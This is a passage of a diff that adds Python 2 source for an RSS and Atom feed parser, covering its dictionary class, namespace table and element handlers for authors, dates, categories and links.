+                if type(key) == types.ListType:
+                    key = key[0]
+        return UserDict.__setitem__(self, key, value)
+
+    def get(self, key, default=None):
+        if self.has_key(key):
+            return self[key]
+        else:
+            return default
+
+    def setdefault(self, key, value):
+        if not self.has_key(key):
+            self[key] = value
+        return self[key]
+        
+    def has_key(self, key):
+        try:
+            return hasattr(self, key) or UserDict.has_key(self, key)
+        except AttributeError:
+            return False
+        
+    def __getattr__(self, key):
+        try:
+            return self.__dict__[key]
+        except KeyError:
+            pass
+        try:
+            assert not key.startswith('_')
+            return self.__getitem__(key)
+        except:
+            raise AttributeError, "object has no attribute '%s'" % key
+
+    def __setattr__(self, key, value):
+        if key.startswith('_') or key == 'data':
+            self.__dict__[key] = value
+        else:
+            return self.__setitem__(key, value)
+
+    def __contains__(self, key):
+        return self.has_key(key)
+
+def zopeCompatibilityHack():
+    global FeedParserDict
+    del FeedParserDict
+    def FeedParserDict(aDict=None):
+        rc = {}
+        if aDict:
+            rc.update(aDict)
+        return rc
+
+_ebcdic_to_ascii_map = None
+def _ebcdic_to_ascii(s):
+    global _ebcdic_to_ascii_map
+    if not _ebcdic_to_ascii_map:
+        emap = (
+            0,1,2,3,156,9,134,127,151,141,142,11,12,13,14,15,
+            16,17,18,19,157,133,8,135,24,25,146,143,28,29,30,31,
+            128,129,130,131,132,10,23,27,136,137,138,139,140,5,6,7,
+            144,145,22,147,148,149,150,4,152,153,154,155,20,21,158,26,
+            32,160,161,162,163,164,165,166,167,168,91,46,60,40,43,33,
+            38,169,170,171,172,173,174,175,176,177,93,36,42,41,59,94,
+            45,47,178,179,180,181,182,183,184,185,124,44,37,95,62,63,
+            186,187,188,189,190,191,192,193,194,96,58,35,64,39,61,34,
+            195,97,98,99,100,101,102,103,104,105,196,197,198,199,200,201,
+            202,106,107,108,109,110,111,112,113,114,203,204,205,206,207,208,
+            209,126,115,116,117,118,119,120,121,122,210,211,212,213,214,215,
+            216,217,218,219,220,221,222,223,224,225,226,227,228,229,230,231,
+            123,65,66,67,68,69,70,71,72,73,232,233,234,235,236,237,
+            125,74,75,76,77,78,79,80,81,82,238,239,240,241,242,243,
+            92,159,83,84,85,86,87,88,89,90,244,245,246,247,248,249,
+            48,49,50,51,52,53,54,55,56,57,250,251,252,253,254,255
+            )
+        import string
+        _ebcdic_to_ascii_map = string.maketrans( \
+            ''.join(map(chr, range(256))), ''.join(map(chr, emap)))
+    return s.translate(_ebcdic_to_ascii_map)
+
+_urifixer = re.compile('^([A-Za-z][A-Za-z0-9+-.]*://)(/*)(.*?)')
+def _urljoin(base, uri):
+    uri = _urifixer.sub(r'\1\3', uri)
+    return urlparse.urljoin(base, uri)
+
+class _FeedParserMixin:
+    namespaces = {'': '',
+                  'http://backend.userland.com/rss': '',
+                  'http://blogs.law.harvard.edu/tech/rss': '',
+                  'http://purl.org/rss/1.0/': '',
+                  'http://my.netscape.com/rdf/simple/0.9/': '',
+                  'http://example.com/newformat#': '',
+                  'http://example.com/necho': '',
+                  'http://purl.org/echo/': '',
+                  'uri/of/echo/namespace#': '',
+                  'http://purl.org/pie/': '',
+                  'http://purl.org/atom/ns#': '',
+                  'http://www.w3.org/2005/Atom': '',
+                  'http://purl.org/rss/1.0/modules/rss091#': '',
+                  
+                  'http://webns.net/mvcb/':                               'admin',
+                  'http://purl.org/rss/1.0/modules/aggregation/':         'ag',
+                  'http://purl.org/rss/1.0/modules/annotate/':            'annotate',
+                  'http://media.tangent.org/rss/1.0/':                    'audio',
+                  'http://backend.userland.com/blogChannelModule':        'blogChannel',
+                  'http://web.resource.org/cc/':                          'cc',
+                  'http://backend.userland.com/creativeCommonsRssModule': 'creativeCommons',
+                  'http://purl.org/rss/1.0/modules/company':              'co',
+                  'http://purl.org/rss/1.0/modules/content/':             'content',
+                  'http://my.theinfo.org/changed/1.0/rss/':               'cp',
+                  'http://purl.org/dc/elements/1.1/':                     'dc',
+                  'http://purl.org/dc/terms/':                            'dcterms',
+                  'http://purl.org/rss/1.0/modules/email/':               'email',
+                  'http://purl.org/rss/1.0/modules/event/':               'ev',
+                  'http://rssnamespace.org/feedburner/ext/1.0':           'feedburner',
+                  'http://freshmeat.net/rss/fm/':                         'fm',
+                  'http://xmlns.com/foaf/0.1/':                           'foaf',
+                  'http://www.w3.org/2003/01/geo/wgs84_pos#':             'geo',
+                  'http://postneo.com/icbm/':                             'icbm',
+                  'http://purl.org/rss/1.0/modules/image/':               'image',
+                  'http://www.itunes.com/DTDs/PodCast-1.0.dtd':           'itunes',
+                  'http://example.com/DTDs/PodCast-1.0.dtd':              'itunes',
+                  'http://purl.org/rss/1.0/modules/link/':                'l',
+                  'http://search.yahoo.com/mrss':                         'media',
+                  'http://madskills.com/public/xml/rss/module/pingback/': 'pingback',
+                  'http://prismstandard.org/namespaces/1.2/basic/':       'prism',
+                  'http://www.w3.org/1999/02/22-rdf-syntax-ns#':          'rdf',
+                  'http://www.w3.org/2000/01/rdf-schema#':                'rdfs',
+                  'http://purl.org/rss/1.0/modules/reference/':           'ref',
+                  'http://purl.org/rss/1.0/modules/richequiv/':           'reqv',
+                  'http://purl.org/rss/1.0/modules/search/':              'search',
+                  'http://purl.org/rss/1.0/modules/slash/':               'slash',
+                  'http://schemas.xmlsoap.org/soap/envelope/':            'soap',
+                  'http://purl.org/rss/1.0/modules/servicestatus/':       'ss',
+                  'http://hacks.benhammersley.com/rss/streaming/':        'str',
+                  'http://purl.org/rss/1.0/modules/subscription/':        'sub',
+                  'http://purl.org/rss/1.0/modules/syndication/':         'sy',
+                  'http://purl.org/rss/1.0/modules/taxonomy/':            'taxo',
+                  'http://purl.org/rss/1.0/modules/threading/':           'thr',
+                  'http://purl.org/rss/1.0/modules/textinput/':           'ti',
+                  'http://madskills.com/public/xml/rss/module/trackback/':'trackback',
+                  'http://wellformedweb.org/commentAPI/':                 'wfw',
+                  'http://purl.org/rss/1.0/modules/wiki/':                'wiki',
+                  'http://www.w3.org/1999/xhtml':                         'xhtml',
+                  'http://www.w3.org/XML/1998/namespace':                 'xml',
+                  'http://schemas.pocketsoap.com/rss/myDescModule/':      'szf'
+}
+    _matchnamespaces = {}
+
+    can_be_relative_uri = ['link', 'id', 'wfw_comment', 'wfw_commentrss', 'docs', 'url', 'href', 'comments', 'license', 'icon', 'logo']
+    can_contain_relative_uris = ['content', 'title', 'summary', 'info', 'tagline', 'subtitle', 'copyright', 'rights', 'description']
+    can_contain_dangerous_markup = ['content', 'title', 'summary', 'info', 'tagline', 'subtitle', 'copyright', 'rights', 'description']
+    html_types = ['text/html', 'application/xhtml+xml']
+    
+    def __init__(self, baseuri=None, baselang=None, encoding='utf-8'):
+        if _debug: sys.stderr.write('initializing FeedParser\n')
+        if not self._matchnamespaces:
+            for k, v in self.namespaces.items():
+                self._matchnamespaces[k.lower()] = v
+        self.feeddata = FeedParserDict() # feed-level data
+        self.encoding = encoding # character encoding
+        self.entries = [] # list of entry-level data
+        self.version = '' # feed type/version, see SUPPORTED_VERSIONS
+        self.namespacesInUse = {} # dictionary of namespaces defined by the feed
+
+        # the following are used internally to track state;
+        # this is really out of control and should be refactored
+        self.infeed = 0
+        self.inentry = 0
+        self.incontent = 0
+        self.intextinput = 0
+        self.inimage = 0
+        self.inauthor = 0
+        self.incontributor = 0
+        self.inpublisher = 0
+        self.insource = 0
+        self.sourcedata = FeedParserDict()
+        self.contentparams = FeedParserDict()
+        self._summaryKey = None
+        self.namespacemap = {}
+        self.elementstack = []
+        self.basestack = []
+        self.langstack = []
+        self.baseuri = baseuri or ''
+        self.lang = baselang or None
+        if baselang:
+            self.feeddata['language'] = baselang
+
+    def unknown_starttag(self, tag, attrs):
+        if _debug: sys.stderr.write('start %s with %s\n' % (tag, attrs))
+        # normalize attrs
+        attrs = [(k.lower(), v) for k, v in attrs]
+        attrs = [(k, k in ('rel', 'type') and v.lower() or v) for k, v in attrs]
+        
+        # track xml:base and xml:lang
+        attrsD = dict(attrs)
+        baseuri = attrsD.get('xml:base', attrsD.get('base')) or self.baseuri
+        self.baseuri = _urljoin(self.baseuri, baseuri)
+        lang = attrsD.get('xml:lang', attrsD.get('lang'))
+        if lang == '':
+            # xml:lang could be explicitly set to '', we need to capture that
+            lang = None
+        elif lang is None:
+            # if no xml:lang is specified, use parent lang
+            lang = self.lang
+        if lang:
+            if tag in ('feed', 'rss', 'rdf:RDF'):
+                self.feeddata['language'] = lang
+        self.lang = lang
+        self.basestack.append(self.baseuri)
+        self.langstack.append(lang)
+        
+        # track namespaces
+        for prefix, uri in attrs:
+            if prefix.startswith('xmlns:'):
+                self.trackNamespace(prefix[6:], uri)
+            elif prefix == 'xmlns':
+                self.trackNamespace(None, uri)
+
+        # track inline content
+        if self.incontent and self.contentparams.has_key('type') and not self.contentparams.get('type', 'xml').endswith('xml'):
+            # element declared itself as escaped markup, but it isn't really
+            self.contentparams['type'] = 'application/xhtml+xml'
+        if self.incontent and self.contentparams.get('type') == 'application/xhtml+xml':
+            # Note: probably shouldn't simply recreate localname here, but
+            # our namespace handling isn't actually 100% correct in cases where
+            # the feed redefines the default namespace (which is actually
+            # the usual case for inline content, thanks Sam), so here we
+            # cheat and just reconstruct the element based on localname
+            # because that compensates for the bugs in our namespace handling.
+            # This will horribly munge inline content with non-empty qnames,
+            # but nobody actually does that, so I'm not fixing it.
+            tag = tag.split(':')[-1]
+            return self.handle_data('<%s%s>' % (tag, ''.join([' %s="%s"' % t for t in attrs])), escape=0)
+
+        # match namespaces
+        if tag.find(':') <> -1:
+            prefix, suffix = tag.split(':', 1)
+        else:
+            prefix, suffix = '', tag
+        prefix = self.namespacemap.get(prefix, prefix)
+        if prefix:
+            prefix = prefix + '_'
+
+        # special hack for better tracking of empty textinput/image elements in illformed feeds
+        if (not prefix) and tag not in ('title', 'link', 'description', 'name'):
+            self.intextinput = 0
+        if (not prefix) and tag not in ('title', 'link', 'description', 'url', 'href', 'width', 'height'):
+            self.inimage = 0
+        
+        # call special handler (if defined) or default handler
+        methodname = '_start_' + prefix + suffix
+        try:
+            method = getattr(self, methodname)
+            return method(attrsD)
+        except AttributeError:
+            return self.push(prefix + suffix, 1)
+
+    def unknown_endtag(self, tag):
+        if _debug: sys.stderr.write('end %s\n' % tag)
+        # match namespaces
+        if tag.find(':') <> -1:
+            prefix, suffix = tag.split(':', 1)
+        else:
+            prefix, suffix = '', tag
+        prefix = self.namespacemap.get(prefix, prefix)
+        if prefix:
+            prefix = prefix + '_'
+
+        # call special handler (if defined) or default handler
+        methodname = '_end_' + prefix + suffix
+        try:
+            method = getattr(self, methodname)
+            method()
+        except AttributeError:
+            self.pop(prefix + suffix)
+
+        # track inline content
+        if self.incontent and self.contentparams.has_key('type') and not self.contentparams.get('type', 'xml').endswith('xml'):
+            # element declared itself as escaped markup, but it isn't really
+            self.contentparams['type'] = 'application/xhtml+xml'
+        if self.incontent and self.contentparams.get('type') == 'application/xhtml+xml':
+            tag = tag.split(':')[-1]
+            self.handle_data('</%s>' % tag, escape=0)
+
+        # track xml:base and xml:lang going out of scope
+        if self.basestack:
+            self.basestack.pop()
+            if self.basestack and self.basestack[-1]:
+                self.baseuri = self.basestack[-1]
+        if self.langstack:
+            self.langstack.pop()
+            if self.langstack: # and (self.langstack[-1] is not None):
+                self.lang = self.langstack[-1]
+
+    def handle_charref(self, ref):
+        # called for each character reference, e.g. for '&#160;', ref will be '160'
+        if not self.elementstack: return
+        ref = ref.lower()
+        if ref in ('34', '38', '39', '60', '62', 'x22', 'x26', 'x27', 'x3c', 'x3e'):
+            text = '&#%s;' % ref
+        else:
+            if ref[0] == 'x':
+                c = int(ref[1:], 16)
+            else:
+                c = int(ref)
+            text = unichr(c).encode('utf-8')
+        self.elementstack[-1][2].append(text)
+
+    def handle_entityref(self, ref):
+        # called for each entity reference, e.g. for '&copy;', ref will be 'copy'
+        if not self.elementstack: return
+        if _debug: sys.stderr.write('entering handle_entityref with %s\n' % ref)
+        if ref in ('lt', 'gt', 'quot', 'amp', 'apos'):
+            text = '&%s;' % ref
+        else:
+            # entity resolution graciously donated by Aaron Swartz
+            def name2cp(k):
+                import htmlentitydefs
+                if hasattr(htmlentitydefs, 'name2codepoint'): # requires Python 2.3
+                    return htmlentitydefs.name2codepoint[k]
+                k = htmlentitydefs.entitydefs[k]
+                if k.startswith('&#') and k.endswith(';'):
+                    return int(k[2:-1]) # not in latin-1
+                return ord(k)
+            try: name2cp(ref)
+            except KeyError: text = '&%s;' % ref
+            else: text = unichr(name2cp(ref)).encode('utf-8')
+        self.elementstack[-1][2].append(text)
+
+    def handle_data(self, text, escape=1):
+        # called for each block of plain text, i.e. outside of any tag and
+        # not containing any character or entity references
+        if not self.elementstack: return
+        if escape and self.contentparams.get('type') == 'application/xhtml+xml':
+            text = _xmlescape(text)
+        self.elementstack[-1][2].append(text)
+
+    def handle_comment(self, text):
+        # called for each comment, e.g. <!-- insert message here -->
+        pass
+
+    def handle_pi(self, text):
+        # called for each processing instruction, e.g. <?instruction>
+        pass
+
+    def handle_decl(self, text):
+        pass
+
+    def parse_declaration(self, i):
+        # override internal declaration handler to handle CDATA blocks
+        if _debug: sys.stderr.write('entering parse_declaration\n')
+        if self.rawdata[i:i+9] == '<![CDATA[':
+            k = self.rawdata.find(']]>', i)
+            if k == -1: k = len(self.rawdata)
+            self.handle_data(_xmlescape(self.rawdata[i+9:k]), 0)
+            return k+3
+        else:
+            k = self.rawdata.find('>', i)
+            return k+1
+
+    def mapContentType(self, contentType):
+        contentType = contentType.lower()
+        if contentType == 'text':
+            contentType = 'text/plain'
+        elif contentType == 'html':
+            contentType = 'text/html'
+        elif contentType == 'xhtml':
+            contentType = 'application/xhtml+xml'
+        return contentType
+    
+    def trackNamespace(self, prefix, uri):
+        loweruri = uri.lower()
+        if (prefix, loweruri) == (None, 'http://my.netscape.com/rdf/simple/0.9/') and not self.version:
+            self.version = 'rss090'
+        if loweruri == 'http://purl.org/rss/1.0/' and not self.version:
+            self.version = 'rss10'
+        if loweruri == 'http://www.w3.org/2005/atom' and not self.version:
+            self.version = 'atom10'
+        if loweruri.find('backend.userland.com/rss') <> -1:
+            # match any backend.userland.com namespace
+            uri = 'http://backend.userland.com/rss'
+            loweruri = uri
+        if self._matchnamespaces.has_key(loweruri):
+            self.namespacemap[prefix] = self._matchnamespaces[loweruri]
+            self.namespacesInUse[self._matchnamespaces[loweruri]] = uri
+        else:
+            self.namespacesInUse[prefix or ''] = uri
+
+    def resolveURI(self, uri):
+        return _urljoin(self.baseuri or '', uri)
+    
+    def decodeEntities(self, element, data):
+        return data
+
+    def push(self, element, expectingText):
+        self.elementstack.append([element, expectingText, []])
+
+    def pop(self, element, stripWhitespace=1):
+        if not self.elementstack: return
+        if self.elementstack[-1][0] != element: return
+        
+        element, expectingText, pieces = self.elementstack.pop()
+        output = ''.join(pieces)
+        if stripWhitespace:
+            output = output.strip()
+        if not expectingText: return output
+
+        # decode base64 content
+        if base64 and self.contentparams.get('base64', 0):
+            try:
+                output = base64.decodestring(output)
+            except binascii.Error:
+                pass
+            except binascii.Incomplete:
+                pass
+                
+        # resolve relative URIs
+        if (element in self.can_be_relative_uri) and output:
+            output = self.resolveURI(output)
+        
+        # decode entities within embedded markup
+        if not self.contentparams.get('base64', 0):
+            output = self.decodeEntities(element, output)
+
+        # remove temporary cruft from contentparams
+        try:
+            del self.contentparams['mode']
+        except KeyError:
+            pass
+        try:
+            del self.contentparams['base64']
+        except KeyError:
+            pass
+
+        # resolve relative URIs within embedded markup
+        if self.mapContentType(self.contentparams.get('type', 'text/html')) in self.html_types:
+            if element in self.can_contain_relative_uris:
+                output = _resolveRelativeURIs(output, self.baseuri, self.encoding)
+        
+        # sanitize embedded markup
+        if self.mapContentType(self.contentparams.get('type', 'text/html')) in self.html_types:
+            if element in self.can_contain_dangerous_markup:
+                output = _sanitizeHTML(output, self.encoding)
+
+        if self.encoding and type(output) != type(u''):
+            try:
+                output = unicode(output, self.encoding)
+            except:
+                pass
+
+        # categories/tags/keywords/whatever are handled in _end_category
+        if element == 'category':
+            return output
+        
+        # store output in appropriate place(s)
+        if self.inentry and not self.insource:
+            if element == 'content':
+                self.entries[-1].setdefault(element, [])
+                contentparams = copy.deepcopy(self.contentparams)
+                contentparams['value'] = output
+                self.entries[-1][element].append(contentparams)
+            elif element == 'link':
+                self.entries[-1][element] = output
+                if output:
+                    self.entries[-1]['links'][-1]['href'] = output
+            else:
+                if element == 'description':
+                    element = 'summary'
+                self.entries[-1][element] = output
+                if self.incontent:
+                    contentparams = copy.deepcopy(self.contentparams)
+                    contentparams['value'] = output
+                    self.entries[-1][element + '_detail'] = contentparams
+        elif (self.infeed or self.insource) and (not self.intextinput) and (not self.inimage):
+            context = self._getContext()
+            if element == 'description':
+                element = 'subtitle'
+            context[element] = output
+            if element == 'link':
+                context['links'][-1]['href'] = output
+            elif self.incontent:
+                contentparams = copy.deepcopy(self.contentparams)
+                contentparams['value'] = output
+                context[element + '_detail'] = contentparams
+        return output
+
+    def pushContent(self, tag, attrsD, defaultContentType, expectingText):
+        self.incontent += 1
+        self.contentparams = FeedParserDict({
+            'type': self.mapContentType(attrsD.get('type', defaultContentType)),
+            'language': self.lang,
+            'base': self.baseuri})
+        self.contentparams['base64'] = self._isBase64(attrsD, self.contentparams)
+        self.push(tag, expectingText)
+
+    def popContent(self, tag):
+        value = self.pop(tag)
+        self.incontent -= 1
+        self.contentparams.clear()
+        return value
+        
+    def _mapToStandardPrefix(self, name):
+        colonpos = name.find(':')
+        if colonpos <> -1:
+            prefix = name[:colonpos]
+            suffix = name[colonpos+1:]
+            prefix = self.namespacemap.get(prefix, prefix)
+            name = prefix + ':' + suffix
+        return name
+        
+    def _getAttribute(self, attrsD, name):
+        return attrsD.get(self._mapToStandardPrefix(name))
+
+    def _isBase64(self, attrsD, contentparams):
+        if attrsD.get('mode', '') == 'base64':
+            return 1
+        if self.contentparams['type'].startswith('text/'):
+            return 0
+        if self.contentparams['type'].endswith('+xml'):
+            return 0
+        if self.contentparams['type'].endswith('/xml'):
+            return 0
+        return 1
+
+    def _itsAnHrefDamnIt(self, attrsD):
+        href = attrsD.get('url', attrsD.get('uri', attrsD.get('href', None)))
+        if href:
+            try:
+                del attrsD['url']
+            except KeyError:
+                pass
+            try:
+                del attrsD['uri']
+            except KeyError:
+                pass
+            attrsD['href'] = href
+        return attrsD
+    
+    def _save(self, key, value):
+        context = self._getContext()
+        context.setdefault(key, value)
+
+    def _start_rss(self, attrsD):
+        versionmap = {'0.91': 'rss091u',
+                      '0.92': 'rss092',
+                      '0.93': 'rss093',
+                      '0.94': 'rss094'}
+        if not self.version:
+            attr_version = attrsD.get('version', '')
+            version = versionmap.get(attr_version)
+            if version:
+                self.version = version
+            elif attr_version.startswith('2.'):
+                self.version = 'rss20'
+            else:
+                self.version = 'rss'
+    
+    def _start_dlhottitles(self, attrsD):
+        self.version = 'hotrss'
+
+    def _start_channel(self, attrsD):
+        self.infeed = 1
+        self._cdf_common(attrsD)
+    _start_feedinfo = _start_channel
+
+    def _cdf_common(self, attrsD):
+        if attrsD.has_key('lastmod'):
+            self._start_modified({})
+            self.elementstack[-1][-1] = attrsD['lastmod']
+            self._end_modified()
+        if attrsD.has_key('href'):
+            self._start_link({})
+            self.elementstack[-1][-1] = attrsD['href']
+            self._end_link()
+    
+    def _start_feed(self, attrsD):
+        self.infeed = 1
+        versionmap = {'0.1': 'atom01',
+                      '0.2': 'atom02',
+                      '0.3': 'atom03'}
+        if not self.version:
+            attr_version = attrsD.get('version')
+            version = versionmap.get(attr_version)
+            if version:
+                self.version = version
+            else:
+                self.version = 'atom'
+
+    def _end_channel(self):
+        self.infeed = 0
+    _end_feed = _end_channel
+    
+    def _start_image(self, attrsD):
+        self.inimage = 1
+        self.push('image', 0)
+        context = self._getContext()
+        context.setdefault('image', FeedParserDict())
+            
+    def _end_image(self):
+        self.pop('image')
+        self.inimage = 0
+
+    def _start_textinput(self, attrsD):
+        self.intextinput = 1
+        self.push('textinput', 0)
+        context = self._getContext()
+        context.setdefault('textinput', FeedParserDict())
+    _start_textInput = _start_textinput
+    
+    def _end_textinput(self):
+        self.pop('textinput')
+        self.intextinput = 0
+    _end_textInput = _end_textinput
+
+    def _start_author(self, attrsD):
+        self.inauthor = 1
+        self.push('author', 1)
+    _start_managingeditor = _start_author
+    _start_dc_author = _start_author
+    _start_dc_creator = _start_author
+    _start_itunes_author = _start_author
+
+    def _end_author(self):
+        self.pop('author')
+        self.inauthor = 0
+        self._sync_author_detail()
+    _end_managingeditor = _end_author
+    _end_dc_author = _end_author
+    _end_dc_creator = _end_author
+    _end_itunes_author = _end_author
+
+    def _start_itunes_owner(self, attrsD):
+        self.inpublisher = 1
+        self.push('publisher', 0)
+
+    def _end_itunes_owner(self):
+        self.pop('publisher')
+        self.inpublisher = 0
+        self._sync_author_detail('publisher')
+
+    def _start_contributor(self, attrsD):
+        self.incontributor = 1
+        context = self._getContext()
+        context.setdefault('contributors', [])
+        context['contributors'].append(FeedParserDict())
+        self.push('contributor', 0)
+
+    def _end_contributor(self):
+        self.pop('contributor')
+        self.incontributor = 0
+
+    def _start_dc_contributor(self, attrsD):
+        self.incontributor = 1
+        context = self._getContext()
+        context.setdefault('contributors', [])
+        context['contributors'].append(FeedParserDict())
+        self.push('name', 0)
+
+    def _end_dc_contributor(self):
+        self._end_name()
+        self.incontributor = 0
+
+    def _start_name(self, attrsD):
+        self.push('name', 0)
+    _start_itunes_name = _start_name
+
+    def _end_name(self):
+        value = self.pop('name')
+        if self.inpublisher:
+            self._save_author('name', value, 'publisher')
+        elif self.inauthor:
+            self._save_author('name', value)
+        elif self.incontributor:
+            self._save_contributor('name', value)
+        elif self.intextinput:
+            context = self._getContext()
+            context['textinput']['name'] = value
+    _end_itunes_name = _end_name
+
+    def _start_width(self, attrsD):
+        self.push('width', 0)
+
+    def _end_width(self):
+        value = self.pop('width')
+        try:
+            value = int(value)
+        except:
+            value = 0
+        if self.inimage:
+            context = self._getContext()
+            context['image']['width'] = value
+
+    def _start_height(self, attrsD):
+        self.push('height', 0)
+
+    def _end_height(self):
+        value = self.pop('height')
+        try:
+            value = int(value)
+        except:
+            value = 0
+        if self.inimage:
+            context = self._getContext()
+            context['image']['height'] = value
+
+    def _start_url(self, attrsD):
+        self.push('href', 1)
+    _start_homepage = _start_url
+    _start_uri = _start_url
+
+    def _end_url(self):
+        value = self.pop('href')
+        if self.inauthor:
+            self._save_author('href', value)
+        elif self.incontributor:
+            self._save_contributor('href', value)
+        elif self.inimage:
+            context = self._getContext()
+            context['image']['href'] = value
+        elif self.intextinput:
+            context = self._getContext()
+            context['textinput']['link'] = value
+    _end_homepage = _end_url
+    _end_uri = _end_url
+
+    def _start_email(self, attrsD):
+        self.push('email', 0)
+    _start_itunes_email = _start_email
+
+    def _end_email(self):
+        value = self.pop('email')
+        if self.inpublisher:
+            self._save_author('email', value, 'publisher')
+        elif self.inauthor:
+            self._save_author('email', value)
+        elif self.incontributor:
+            self._save_contributor('email', value)
+    _end_itunes_email = _end_email
+
+    def _getContext(self):
+        if self.insource:
+            context = self.sourcedata
+        elif self.inentry:
+            context = self.entries[-1]
+        else:
+            context = self.feeddata
+        return context
+
+    def _save_author(self, key, value, prefix='author'):
+        context = self._getContext()
+        context.setdefault(prefix + '_detail', FeedParserDict())
+        context[prefix + '_detail'][key] = value
+        self._sync_author_detail()
+
+    def _save_contributor(self, key, value):
+        context = self._getContext()
+        context.setdefault('contributors', [FeedParserDict()])
+        context['contributors'][-1][key] = value
+
+    def _sync_author_detail(self, key='author'):
+        context = self._getContext()
+        detail = context.get('%s_detail' % key)
+        if detail:
+            name = detail.get('name')
+            email = detail.get('email')
+            if name and email:
+                context[key] = '%s (%s)' % (name, email)
+            elif name:
+                context[key] = name
+            elif email:
+                context[key] = email
+        else:
+            author = context.get(key)
+            if not author: return
+            emailmatch = re.search(r'''(([a-zA-Z0-9\_\-\.\+]+)@((\[[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.)|(([a-zA-Z0-9\-]+\.)+))([a-zA-Z]{2,4}|[0-9]{1,3})(\]?))''', author)
+            if not emailmatch: return
+            email = emailmatch.group(0)
+            # probably a better way to do the following, but it passes all the tests
+            author = author.replace(email, '')
+            author = author.replace('()', '')
+            author = author.strip()
+            if author and (author[0] == '('):
+                author = author[1:]
+            if author and (author[-1] == ')'):
+                author = author[:-1]
+            author = author.strip()
+            context.setdefault('%s_detail' % key, FeedParserDict())
+            context['%s_detail' % key]['name'] = author
+            context['%s_detail' % key]['email'] = email
+
+    def _start_subtitle(self, attrsD):
+        self.pushContent('subtitle', attrsD, 'text/plain', 1)
+    _start_tagline = _start_subtitle
+    _start_itunes_subtitle = _start_subtitle
+
+    def _end_subtitle(self):
+        self.popContent('subtitle')
+    _end_tagline = _end_subtitle
+    _end_itunes_subtitle = _end_subtitle
+            
+    def _start_rights(self, attrsD):
+        self.pushContent('rights', attrsD, 'text/plain', 1)
+    _start_dc_rights = _start_rights
+    _start_copyright = _start_rights
+
+    def _end_rights(self):
+        self.popContent('rights')
+    _end_dc_rights = _end_rights
+    _end_copyright = _end_rights
+
+    def _start_item(self, attrsD):
+        self.entries.append(FeedParserDict())
+        self.push('item', 0)
+        self.inentry = 1
+        self.guidislink = 0
+        id = self._getAttribute(attrsD, 'rdf:about')
+        if id:
+            context = self._getContext()
+            context['id'] = id
+        self._cdf_common(attrsD)
+    _start_entry = _start_item
+    _start_product = _start_item
+
+    def _end_item(self):
+        self.pop('item')
+        self.inentry = 0
+    _end_entry = _end_item
+
+    def _start_dc_language(self, attrsD):
+        self.push('language', 1)
+    _start_language = _start_dc_language
+
+    def _end_dc_language(self):
+        self.lang = self.pop('language')
+    _end_language = _end_dc_language
+
+    def _start_dc_publisher(self, attrsD):
+        self.push('publisher', 1)
+    _start_webmaster = _start_dc_publisher
+
+    def _end_dc_publisher(self):
+        self.pop('publisher')
+        self._sync_author_detail('publisher')
+    _end_webmaster = _end_dc_publisher
+
+    def _start_published(self, attrsD):
+        self.push('published', 1)
+    _start_dcterms_issued = _start_published
+    _start_issued = _start_published
+
+    def _end_published(self):
+        value = self.pop('published')
+        self._save('published_parsed', _parse_date(value))
+    _end_dcterms_issued = _end_published
+    _end_issued = _end_published
+
+    def _start_updated(self, attrsD):
+        self.push('updated', 1)
+    _start_modified = _start_updated
+    _start_dcterms_modified = _start_updated
+    _start_pubdate = _start_updated
+    _start_dc_date = _start_updated
+
+    def _end_updated(self):
+        value = self.pop('updated')
+        parsed_value = _parse_date(value)
+        self._save('updated_parsed', parsed_value)
+    _end_modified = _end_updated
+    _end_dcterms_modified = _end_updated
+    _end_pubdate = _end_updated
+    _end_dc_date = _end_updated
+
+    def _start_created(self, attrsD):
+        self.push('created', 1)
+    _start_dcterms_created = _start_created
+
+    def _end_created(self):
+        value = self.pop('created')
+        self._save('created_parsed', _parse_date(value))
+    _end_dcterms_created = _end_created
+
+    def _start_expirationdate(self, attrsD):
+        self.push('expired', 1)
+
+    def _end_expirationdate(self):
+        self._save('expired_parsed', _parse_date(self.pop('expired')))
+
+    def _start_cc_license(self, attrsD):
+        self.push('license', 1)
+        value = self._getAttribute(attrsD, 'rdf:resource')
+        if value:
+            self.elementstack[-1][2].append(value)
+        self.pop('license')
+        
+    def _start_creativecommons_license(self, attrsD):
+        self.push('license', 1)
+
+    def _end_creativecommons_license(self):
+        self.pop('license')
+
+    def _addTag(self, term, scheme, label):
+        context = self._getContext()
+        tags = context.setdefault('tags', [])
+        if (not term) and (not scheme) and (not label): return
+        value = FeedParserDict({'term': term, 'scheme': scheme, 'label': label})
+        if value not in tags:
+            tags.append(FeedParserDict({'term': term, 'scheme': scheme, 'label': label}))
+
+    def _start_category(self, attrsD):
+        if _debug: sys.stderr.write('entering _start_category with %s\n' % repr(attrsD))
+        term = attrsD.get('term')
+        scheme = attrsD.get('scheme', attrsD.get('domain'))
+        label = attrsD.get('label')
+        self._addTag(term, scheme, label)
+        self.push('category', 1)
+    _start_dc_subject = _start_category
+    _start_keywords = _start_category
+        
+    def _end_itunes_keywords(self):
+        for term in self.pop('itunes_keywords').split():
+            self._addTag(term, 'http://www.itunes.com/', None)
+        
+    def _start_itunes_category(self, attrsD):
+        self._addTag(attrsD.get('text'), 'http://www.itunes.com/', None)
+        self.push('category', 1)
+        
+    def _end_category(self):
+        value = self.pop('category')
+        if not value: return
+        context = self._getContext()
+        tags = context['tags']
+        if value and len(tags) and not tags[-1]['term']:
+            tags[-1]['term'] = value
+        else:
+            self._addTag(value, None, None)
+    _end_dc_subject = _end_category
+    _end_keywords = _end_category
+    _end_itunes_category = _end_category
+
+    def _start_cloud(self, attrsD):
+        self._getContext()['cloud'] = FeedParserDict(attrsD)
+        
+    def _start_link(self, attrsD):
+        attrsD.setdefault('rel', 'alternate')
+        attrsD.setdefault('type', 'text/html')
+        attrsD = self._itsAnHrefDamnIt(attrsD)
+        if attrsD.has_key('href'):
+            attrsD['href'] = self.resolveURI(attrsD['href'])
+        expectingText = self.infeed or self.inentry or self.insource
+        context = self._getContext()
+        context.setdefault('links', [])
+        context['links'].append(FeedParserDict(attrsD))
+        if attrsD['rel'] == 'enclosure':
+            self._start_enclosure(attrsD)
+        if attrsD.has_key('href'):
+            expectingText = 0
+            if (attrsD.get('rel') == 'alternate') and (self.mapContentType(attrsD.get('type')) in self.html_types):
+                context['link'] = attrsD['href']
+        else:
+            self.push('link', expectingText)
+    _start_producturl = _start_link
+
+    def _end_link(self):
+        value = self.pop('link')
+        context = self._getContext()
+        if self.intextinput:
+            context['textinput']['link'] = value
+        if self.inimage:
+            context['image']['link'] = value
+    _end_producturl = _end_link
+
+    def _start_guid(self, attrsD):
